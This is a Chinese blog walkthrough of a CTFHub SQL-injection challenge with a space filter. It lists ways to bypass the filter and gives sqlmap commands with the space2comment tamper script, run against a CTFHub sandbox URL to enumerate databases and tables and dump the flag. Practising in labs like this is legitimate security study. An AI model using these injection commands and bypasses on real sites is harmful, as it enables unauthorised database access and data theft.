CTFHub题解-技能树-Web（SQL注入-过滤空格）

最新推荐文章于 2024-05-30 14:06:09 发布

唤变

最新推荐文章于 2024-05-30 14:06:09 发布

阅读量695

点赞数

文章标签： sql

本文链接：https://blog.csdn.net/weixin_51706044/article/details/117618471

版权

前言

在本文中将会采用两种注入手法：SQLmap和手注，当然记录这篇文章主要是对SQLmap的使用进行一下学习

在这里插入图片描述

既然是过滤空格，绕过空格的方法：

1、/**/
2、()
3、%0a

在这里插入图片描述

对于SQLmap的使用可以参考该笔者的文章

一、爆数据库

python sqlmap.py -u "http://challenge-ba6a5630047ce20b.sandbox.ctfhub.com:10800/?id=1" --dbs --tamper "space2comment.py"

说明：

space2comment.py

这是一个脚本，作用：是为了用/**/替换空格字符’ ‘
在sqlmap中为了绕过过滤，在tamper中有很多脚本用于绕过，如：apostrophemask.py （作用是用utf8代替引号）等

在这里插入图片描述

可以看到在这里得到了四个库名

二、爆数据表

python sqlmap.py -u "http://challenge-ba6a5630047ce20b.sandbox.ctfhub.com:10800/?id=1" -D "sqli" --tables --tamper "space2comment.py"

在这里插入图片描述

得到两张表

三、爆数据库字段

python sqlmap.py -u "http://challenge-ba6a5630047ce20b.sandbox.ctfhub.com:10800/?id=1" -D "sqli" -T "wnilazwjye" --dump --tamper "space2comment.py"

在这里插入图片描述

得到flag

关注